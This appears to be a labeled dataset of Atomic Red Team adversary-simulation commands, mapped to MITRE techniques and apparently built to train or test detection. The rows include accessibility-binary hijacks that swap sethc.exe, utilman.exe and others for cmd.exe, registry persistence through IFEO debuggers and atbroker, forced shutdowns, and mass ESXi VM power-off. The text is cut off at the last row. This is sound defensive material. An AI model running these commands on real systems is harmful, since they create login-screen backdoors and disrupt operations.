c1c2b434dc256607ababb6b2,gcloud iam service-accounts delete #{service-account-email} --quiet,gcloud iam service-accounts delete #{service-account-email} --quiet,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.004/T1078.004.yaml,Creating GCP Service Account and Service Account Key,T1078.004,"[""T1078.004""]","google-workspace,iaas:gcp",0.55,True,"GCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fb6358ffb18fc786d48ca439,New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name},New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.004/T1078.004.yaml,Azure Persistence Automation Runbook Created or Modified,T1078.004,"[""T1078.004""]",iaas:azure,0.9,False,"Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure
Automation runbook to execute malicious code and maintain persistence in their target's environment.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
73b8fd6f8fe5e0d76d89a44f,"Remove-AzAutomationRunbook -AutomationAccountName #{automation_account_name} -Name #{runbook_name} -ResourceGroupName #{resource_group} -Force Remove-AzAutomationAccount -ResourceGroupName #{resource_group} -Name #{automation_account_name} -Force Remove-AzResourceGroup -Name #{resource_group} -Force echo ""Cleanup should be completed. Run 'terraform destroy` to ensure remaining resources are also deleted."" cd ""$PathToAtomicsFolder/T1078.004/src/T1078.004-2/"" terraform destroy -auto-approve","Remove-AzAutomationRunbook -AutomationAccountName #{automation_account_name} -Name #{runbook_name} -ResourceGroupName #{resource_group} -Force Remove-AzAutomationAccount -ResourceGroupName #{resource_group} -Name #{automation_account_name} -Force Remove-AzResourceGroup -Name #{resource_group} -Force echo ""Cleanup should be completed. Run 'terraform destroy` to ensure remaining resources are also deleted."" cd ""$PathToAtomicsFolder/T1078.004/src/T1078.004-2/"" terraform destroy -auto-approve",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.004/T1078.004.yaml,Azure Persistence Automation Runbook Created or Modified,T1078.004,"[""T1078.004""]",iaas:azure,0.55,True,"Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure
Automation runbook to execute malicious code and maintain persistence in their target's environment.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ff181ead4bbc75822b364e3c,"gcloud config set project #{project-id} gcloud iam roles create #{role-name} --description=""#{role-description}"" --permissions=#{roles} --project=#{project-id}","gcloud config set project #{project-id} gcloud iam roles create #{role-name} --description=""#{role-description}"" --permissions=#{roles} --project=#{project-id}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.004/T1078.004.yaml,GCP - Create Custom IAM Role,T1078.004,"[""T1078.004""]",iaas:gcp,0.9,False,"This atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*. The idea for this Atomic came from a Rule published by the Elastic team.

Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). 
Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. 
Custom roles will not be updated automatically and could lead to privilege creep if not carefully sc",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
70955e55ded2a1ba36bd17c3,gcloud iam roles delete #{role-name} --project=#{project-id},gcloud iam roles delete #{role-name} --project=#{project-id},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.004/T1078.004.yaml,GCP - Create Custom IAM Role,T1078.004,"[""T1078.004""]",iaas:gcp,0.55,True,"This atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*. The idea for this Atomic came from a Rule published by the Elastic team.

Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). 
Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. 
Custom roles will not be updated automatically and could lead to privilege creep if not carefully sc",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e7f020bbdfa1248870754441,shutdown /s /t #{timeout},shutdown /s /t #{timeout},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1529/T1529.yaml,Shutdown System - Windows,T1529,"[""T1529""]",windows,0.9,False,"This test shuts down a Windows system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d34b3d6d981957b2aa272ca3,shutdown /r /t #{timeout},shutdown /r /t #{timeout},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1529/T1529.yaml,Restart System - Windows,T1529,"[""T1529""]",windows,0.9,False,"This test restarts a Windows system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d42c41ec1cbdfb201ced3563,shutdown -r #{timeout},shutdown -r #{timeout},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1529/T1529.yaml,Restart System via `shutdown` - FreeBSD/macOS/Linux,T1529,"[""T1529""]","linux,macos",0.9,False,"This test restarts a FreeBSD/macOS/Linux system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aefebe4f52aeb7d0a60096ee,shutdown -h #{timeout},shutdown -h #{timeout},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1529/T1529.yaml,Shutdown System via `shutdown` - FreeBSD/macOS/Linux,T1529,"[""T1529""]","linux,macos",0.9,False,"This test shuts down a FreeBSD/macOS/Linux system using a halt.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d59a6190a924424880560769,halt -p,halt -p,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1529/T1529.yaml,Shutdown System via `halt` - FreeBSD/Linux,T1529,"[""T1529""]",linux,0.9,False,"This test shuts down a FreeBSD/Linux system using `halt`.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
900be28e52d4ec0b3a3a154e,halt -r,halt -r,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1529/T1529.yaml,Reboot System via `halt` - FreeBSD,T1529,"[""T1529""]",linux,0.9,False,"This test restarts a FreeBSD system using `halt`.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
80b03aaddd4a32ab9efb1dde,halt --reboot,halt --reboot,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1529/T1529.yaml,Reboot System via `halt` - Linux,T1529,"[""T1529""]",linux,0.9,False,"This test restarts a Linux system using `halt`.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
05ef7f6acccf6ce989eb4f5f,poweroff -r 3,poweroff -r 3,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1529/T1529.yaml,Reboot System via `poweroff` - FreeBSD,T1529,"[""T1529""]",linux,0.9,False,"This test restarts a FreeBSD system using `poweroff`.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
823c385be4d693cf741707bf,poweroff --reboot,poweroff --reboot,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1529/T1529.yaml,Reboot System via `poweroff` - Linux,T1529,"[""T1529""]",linux,0.9,False,"This test restarts a Linux system using `poweroff`.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
66a75fdd81514e3b64328121,shutdown /l,shutdown /l,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1529/T1529.yaml,Logoff System - Windows,T1529,"[""T1529""]",windows,0.9,False,"This test performs a Windows system logoff as seen in [dcrat backdoor capabilities](https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
75797418effacbee6f408c02,"echo """" | ""#{plink_file}"" ""#{vm_host}"" -ssh -l ""#{vm_user}"" -pw ""#{vm_pass}"" -m ""#{cli_script}""","echo """" | ""#{plink_file}"" ""#{vm_host}"" -ssh -l ""#{vm_user}"" -pw ""#{vm_pass}"" -m ""#{cli_script}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1529/T1529.yaml,ESXi - Terminates VMs using pkill,T1529,"[""T1529""]",windows,0.9,False,"In VMWARE ESXi, process names starting with vmx are associated with running VMs. An adversary can use the pkill command to kill all processes with a prefix vmx.
[Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d6a2cc618af611dd1e65e2d6,"echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/power.off $i & done""","echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/power.off $i & done""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1529/T1529.yaml,ESXi - vim-cmd Used to Power Off VMs,T1529,"[""T1529""]",windows,0.9,False,"Adversaries may power off VMs to facilitate the deployment of ransomware payloads.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#power%20off%20vm)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
09885195c594c56cd9fa7f32,"echo ""b"" > /proc/sysrq-trigger","echo ""b"" > /proc/sysrq-trigger",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1529/T1529.yaml,Abuse of Linux Magic System Request Key for Reboot,T1529,"[""T1529""]",linux,0.9,False,"adversaries with root or sufficient privileges to silently manipulate or destabilize a system. By writing to /proc/sysrq-trigger, they can forced to reboot.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d021fb37b0e56f9fa3f61b38,"$input_table = ""#{parent_list}"".split("","") $Name = ""Debugger"" $Value = ""#{attached_process}"" Foreach ($item in $input_table){ $item = $item.trim() $registryPath = ""HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item"" IF(!(Test-Path $registryPath)) { New-Item -Path $registryPath -Force New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force } ELSE { New-ItemProperty -Path $registryPath -Name $name -Value $Value } }","$input_table = ""#{parent_list}"".split("","") $Name = ""Debugger"" $Value = ""#{attached_process}"" Foreach ($item in $input_table){ $item = $item.trim() $registryPath = ""HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item"" IF(!(Test-Path $registryPath)) { New-Item -Path $registryPath -Force New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force } ELSE { New-ItemProperty -Path $registryPath -Name $name -Value $Value } }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Attaches Command Prompt as a Debugger to a List of Target Processes,T1546.008,"[""T1546.008""]",windows,0.9,False,"Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.
Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dfd27ef98d0ba74004c44782,"$input_table = ""#{parent_list}"".split("","") Foreach ($item in $input_table) { $item = $item.trim() reg delete ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item"" /v Debugger /f 2>&1 | Out-Null }","$input_table = ""#{parent_list}"".split("","") Foreach ($item in $input_table) { $item = $item.trim() reg delete ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item"" /v Debugger /f 2>&1 | Out-Null }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Attaches Command Prompt as a Debugger to a List of Target Processes,T1546.008,"[""T1546.008""]",windows,0.55,True,"Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.
Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
014153fffc3689122ca2c503,IF NOT EXIST C:\Windows\System32\sethc_backup.exe (copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\sethc.exe /A icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe,IF NOT EXIST C:\Windows\System32\sethc_backup.exe (copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\sethc.exe /A icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Replace binary of sticky keys,T1546.008,"[""T1546.008""]",windows,0.9,False,"Replace sticky keys binary (sethc.exe) with cmd.exe
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a778d3747537cd7e8a84576b,copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe,copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Replace binary of sticky keys,T1546.008,"[""T1546.008""]",windows,0.55,True,"Replace sticky keys binary (sethc.exe) with cmd.exe
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
13722cf759984f811ae478b5,IF NOT EXIST %windir%\System32\osk.exe.bak (copy %windir%\System32\osk.exe %windir%\System32\osk.exe.bak) ELSE ( pushd ) takeown /F %windir%\System32\osk.exe /A icacls %windir%\System32\osk.exe /grant Administrators:F /t del %windir%\System32\osk.exe mklink %windir%\System32\osk.exe %windir%\System32\cmd.exe,IF NOT EXIST %windir%\System32\osk.exe.bak (copy %windir%\System32\osk.exe %windir%\System32\osk.exe.bak) ELSE ( pushd ) takeown /F %windir%\System32\osk.exe /A icacls %windir%\System32\osk.exe /grant Administrators:F /t del %windir%\System32\osk.exe mklink %windir%\System32\osk.exe %windir%\System32\cmd.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Create Symbolic Link From osk.exe to cmd.exe,T1546.008,"[""T1546.008""]",windows,0.9,False,"Replace accessiblity executable with cmd.exe to provide elevated command prompt from login screen without logging in.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0c5de158e9ba4b295cc0a7f0,"takeown /F %windir%\System32\osk.exe /A icacls %windir%\System32\osk.exe /grant Administrators:F /t del %windir%\System32\osk.exe copy /Y %windir%\System32\osk.exe.bak %windir%\System32\osk.exe icacls %windir%\system32\osk.exe /inheritance:d icacls %windir%\system32\osk.exe /setowner ""NT SERVICE\TrustedInstaller"" icacls %windir%\System32\osk.exe /grant ""NT SERVICE\TrustedInstaller"":F /t icacls %windir%\system32\osk.exe /grant:r SYSTEM:RX icacls %windir%\system32\osk.exe /grant:r Administrators:RX","takeown /F %windir%\System32\osk.exe /A icacls %windir%\System32\osk.exe /grant Administrators:F /t del %windir%\System32\osk.exe copy /Y %windir%\System32\osk.exe.bak %windir%\System32\osk.exe icacls %windir%\system32\osk.exe /inheritance:d icacls %windir%\system32\osk.exe /setowner ""NT SERVICE\TrustedInstaller"" icacls %windir%\System32\osk.exe /grant ""NT SERVICE\TrustedInstaller"":F /t icacls %windir%\system32\osk.exe /grant:r SYSTEM:RX icacls %windir%\system32\osk.exe /grant:r Administrators:RX",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Create Symbolic Link From osk.exe to cmd.exe,T1546.008,"[""T1546.008""]",windows,0.55,True,"Replace accessiblity executable with cmd.exe to provide elevated command prompt from login screen without logging in.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a5cb19e9b174f687a141b5bd,"reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /f reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f atbroker /start malware_test","reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /f reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f atbroker /start malware_test",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Atbroker.exe (AT) Executes Arbitrary Command via Registry Key,T1546.008,"[""T1546.008""]",windows,0.9,False,"Executes code specified in the registry for a new AT (Assistive Technologies).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5255d798f46af90bad230dbd,"reg delete ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /f","reg delete ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Atbroker.exe (AT) Executes Arbitrary Command via Registry Key,T1546.008,"[""T1546.008""]",windows,0.55,True,"Executes code specified in the registry for a new AT (Assistive Technologies).
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
874155feeeb6408e27632d72,"reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /f reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs"" /v Configuration /t REG_SZ /d malware_test /f","reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /f reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs"" /v Configuration /t REG_SZ /d malware_test /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Auto-start application on user logon,T1546.008,"[""T1546.008""]",windows,0.9,False,"Executes code specified in the registry on new user logon session automatically by registration of new AT and modification of configuration value.
This test will register new AT named malware_test with code for cmd.exe and add a configuration value for the code to be run during user logon session.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a2afc6381e8e04e497e7060,"reg delete ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /f reg delete ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs"" /v Configuration /f","reg delete ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"" /f reg delete ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs"" /v Configuration /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Auto-start application on user logon,T1546.008,"[""T1546.008""]",windows,0.55,True,"Executes code specified in the registry on new user logon session automatically by registration of new AT and modification of configuration value.
This test will register new AT named malware_test with code for cmd.exe and add a configuration value for the code to be run during user logon session.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ba36ca021c977d57754fc619,IF NOT EXIST C:\Windows\System32\utilman_backup.exe (copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\utilman.exe /A icacls C:\Windows\System32\utilman.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe,IF NOT EXIST C:\Windows\System32\utilman_backup.exe (copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\utilman.exe /A icacls C:\Windows\System32\utilman.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Replace utilman.exe (Ease of Access Binary) with cmd.exe,T1546.008,"[""T1546.008""]",windows,0.9,False,"Replace utilman.exe (Ease of Access binary) with cmd.exe. This allows the user to launch an elevated command prompt by clicking the Ease of Access button on the login screen.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b20c05fce805c451ba33d3a,copy /Y C:\Windows\System32\utilman_backup.exe C:\Windows\System32\utilman.exe,copy /Y C:\Windows\System32\utilman_backup.exe C:\Windows\System32\utilman.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Replace utilman.exe (Ease of Access Binary) with cmd.exe,T1546.008,"[""T1546.008""]",windows,0.55,True,"Replace utilman.exe (Ease of Access binary) with cmd.exe. This allows the user to launch an elevated command prompt by clicking the Ease of Access button on the login screen.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac58897723104fa8968dea6f,IF NOT EXIST C:\Windows\System32\Magnify_backup.exe (copy C:\Windows\System32\Magnify.exe C:\Windows\System32\Magnify_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\Magnify.exe /A icacls C:\Windows\System32\Magnify.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\Magnify.exe,IF NOT EXIST C:\Windows\System32\Magnify_backup.exe (copy C:\Windows\System32\Magnify.exe C:\Windows\System32\Magnify_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\Magnify.exe /A icacls C:\Windows\System32\Magnify.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\Magnify.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Replace Magnify.exe (Magnifier binary) with cmd.exe,T1546.008,"[""T1546.008""]",windows,0.9,False,"Replace Magnify.exe (Magnifier binary) with cmd.exe. This allows the user to launch an elevated command prompt by toggling on the Magnifier from the Accessibility menu on the login screen.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d317b57974b51d0b88a1e4f3,copy /Y C:\Windows\System32\Magnify_backup.exe C:\Windows\System32\Magnify.exe,copy /Y C:\Windows\System32\Magnify_backup.exe C:\Windows\System32\Magnify.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Replace Magnify.exe (Magnifier binary) with cmd.exe,T1546.008,"[""T1546.008""]",windows,0.55,True,"Replace Magnify.exe (Magnifier binary) with cmd.exe. This allows the user to launch an elevated command prompt by toggling on the Magnifier from the Accessibility menu on the login screen.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
60fd34fce1f828e505049627,IF NOT EXIST C:\Windows\System32\Narrator_backup.exe (copy C:\Windows\System32\Narrator.exe C:\Windows\System32\Narrator_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\Narrator.exe /A icacls C:\Windows\System32\Narrator.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\Narrator.exe,IF NOT EXIST C:\Windows\System32\Narrator_backup.exe (copy C:\Windows\System32\Narrator.exe C:\Windows\System32\Narrator_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\Narrator.exe /A icacls C:\Windows\System32\Narrator.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\Narrator.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Replace Narrator.exe (Narrator binary) with cmd.exe,T1546.008,"[""T1546.008""]",windows,0.9,False,"Replace Narrator.exe (Narrator binary) with cmd.exe. This allows the user to launch an elevated command prompt by toggling on the Narrator button from the Accessibility menu on the login screen.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7c5c750111f5f2fc6da23fda,copy /Y C:\Windows\System32\Narrator_backup.exe C:\Windows\System32\Narrator.exe,copy /Y C:\Windows\System32\Narrator_backup.exe C:\Windows\System32\Narrator.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Replace Narrator.exe (Narrator binary) with cmd.exe,T1546.008,"[""T1546.008""]",windows,0.55,True,"Replace Narrator.exe (Narrator binary) with cmd.exe. This allows the user to launch an elevated command prompt by toggling on the Narrator button from the Accessibility menu on the login screen.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2a8533d0e0ea791c2a766bb1,IF NOT EXIST C:\Windows\System32\DisplaySwitch_backup.exe (copy C:\Windows\System32\DisplaySwitch.exe C:\Windows\System32\DisplaySwitch_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\DisplaySwitch.exe /A icacls C:\Windows\System32\DisplaySwitch.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\DisplaySwitch.exe,IF NOT EXIST C:\Windows\System32\DisplaySwitch_backup.exe (copy C:\Windows\System32\DisplaySwitch.exe C:\Windows\System32\DisplaySwitch_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\DisplaySwitch.exe /A icacls C:\Windows\System32\DisplaySwitch.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\DisplaySwitch.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe,T1546.008,"[""T1546.008""]",windows,0.9,False,"Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe. This allows the user to launch an elevated command prompt by pressing the Windows Key + P on the login screen.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2845be5a2414ea4f4d8f4fb9,copy /Y C:\Windows\System32\DisplaySwitch_backup.exe C:\Windows\System32\DisplaySwitch.exe,copy /Y C:\Windows\System32\DisplaySwitch_backup.exe C:\Windows\System32\DisplaySwitch.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe,T1546.008,"[""T1546.008""]",windows,0.55,True,"Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe. This allows the user to launch an elevated command prompt by pressing the Windows Key + P on the login screen.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
af055b96ff04b2593d212883,IF NOT EXIST C:\Windows\System32\AtBroker_backup.exe (copy C:\Windows\System32\AtBroker.exe C:\Windows\System32\AtBroker_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\AtBroker.exe /A icacls C:\Windows\System32\AtBroker.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\AtBroker.exe,IF NOT EXIST C:\Windows\System32\AtBroker_backup.exe (copy C:\Windows\System32\AtBroker.exe C:\Windows\System32\AtBroker_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\AtBroker.exe /A icacls C:\Windows\System32\AtBroker.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\AtBroker.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Replace AtBroker.exe (App Switcher binary) with cmd.exe,T1546.008,"[""T1546.008""]",windows,0.9,False,"Replace AtBroker.exe (App Switcher binary) 